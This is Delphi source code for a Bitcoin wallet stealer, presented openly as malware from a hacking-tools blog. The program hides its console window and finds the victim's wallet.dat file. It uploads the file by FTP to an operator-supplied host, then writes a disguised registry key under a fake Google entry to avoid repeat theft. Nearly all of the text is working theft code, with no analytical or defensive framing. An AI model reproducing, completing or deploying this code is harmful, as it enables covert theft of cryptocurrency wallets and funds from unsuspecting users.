Bitcoin wallet Stealer

program dbs;

// Bitcoin Stealer
// developed by Jimmy
// for http://exclusivehackingtools.blogspot.com

{$IF CompilerVersion >= 21.0}
  {$WEAKLINKRTTI ON}
  {$RTTI EXPLICIT METHODS([]) PROPERTIES([]) FIELDS([])}
{$IFEND}

uses
  Windows, System.SysUtils, System.Classes, ShlObj, IdFTP, Registry;

// Function to set the window state hidden
function GetConsoleWindow: HWND; stdcall; external kernel32 name 'GetConsoleWindow';

// Function to get the AppData path
function AppDataPath: String;
const
  SHGFP_TYPE_CURRENT = 0;
var
  Path: array [0 .. MAXCHAR] of char;
begin
  SHGetFolderPath(0, CSIDL_LOCAL_APPDATA, 0, SHGFP_TYPE_CURRENT, @Path[0]);
  Result := StrPas(Path);
end;

// Function to check a file size
function FileSize(FileName: wideString): Int64;
var
  sr: TSearchRec;
begin
  if FindFirst(FileName, faAnyFile, sr) = 0 then
    Result := Int64(sr.FindData.nFileSizeHigh) shl Int64(32) + Int64(sr.FindData.nFileSizeLow)
  else
    Result := -1;

  FindClose(sr);
end;

// Function to generate random string
function RandomString(PLen: Integer): string;
var
  str: string;
begin
  Randomize;
  str := 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789';
  Result := '';
  repeat
    Result := Result + str[Random(Length(str)) + 1];
  until (Length(Result) = PLen);
end;

// ============================================================================

var
  Debug: Boolean;
  FTP: TIdFTP;
  REG: TRegIniFile;
  RegPath, RegValue, RegCurrentValue, Path, UploadPath, FileName: String;
  Error: String;

begin
  // The window should be hidden without using this API
  ShowWindow(GetConsoleWindow, SW_HIDE);

  // Debug or build release ?
  Debug := True;

  // Set registry key value (random)
  RegValue := '6556';

  // At the end of the first execution we will write a key in the registry.
  // Now we will try check if the key exists. If yes, it means
  // that the wallet has already be stolen. Avoid useless duplicates.
  try
    REG := TRegIniFile.Create;
    REG.RootKey := HKEY_CURRENT_USER;
    REG.OpenKeyReadOnly('Software');
    RegCurrentValue := REG.ReadString('Google', 'Version', '');
    REG.CloseKey;
    REG.Free;
  except
  end;

  // Check if wallet has been already stolen (to avoid duplicates)
  if not(RegCurrentValue = RegValue) then
  begin
    try
      // Generate path to Bitcoin wallet file
      if Win32MajorVersion >= 6 then
        // Microsoft Windows Vista and newer
        Path := ExpandFileName(AppDataPath + '\..\Roaming\Bitcoin\wallet.dat')
      else
        // Microsoft Windows XP
        Path := ExpandFileName(AppDataPath + '\..\Bitcoin\wallet.dat');

      // If wallet file exists, check the FileSize (skip large file > 10MB)
      if FileExists(Path) then
        if FileSize(Path) < 10000000 then
        begin
          // Generate a random filename
          FileName := RandomString(20) + '.dat';

          // Initialize upload via Indy FTP component
          FTP := TIdFTP.Create();
          FTP.ConnectTimeout := 20000;
          FTP.ReadTimeout := 20000;

          // Setup with your FTP details
          FTP.Host := 'ftp.host.com';
          FTP.Username := 'username';
          FTP.Password := 'password';
          UploadPath := 'www/';

          // Connect and upload
          if not Debug then
          begin
            FTP.Connect;
            FTP.Put(Path, UploadPath + FileName);
          end;

          // After upload attempt, disconnect and free the FTP component
          FTP.Quit;
          FTP.Disconnect;
          FTP.Free;

          // Try to add a key to registry to avoid double execution
          try
            REG := TRegIniFile.Create;
            REG.RootKey := HKEY_CURRENT_USER;
            REG.OpenKey('Software', True);
            REG.WriteString('Google', 'Version', RegValue);
            REG.CloseKey;
            REG.Free;
          except
          end;
        end;
    except
      // Catch error, you never know...
      on E: Exception do
        Error := E.ClassName + ': ' + E.Message;
    end;
  end;

end.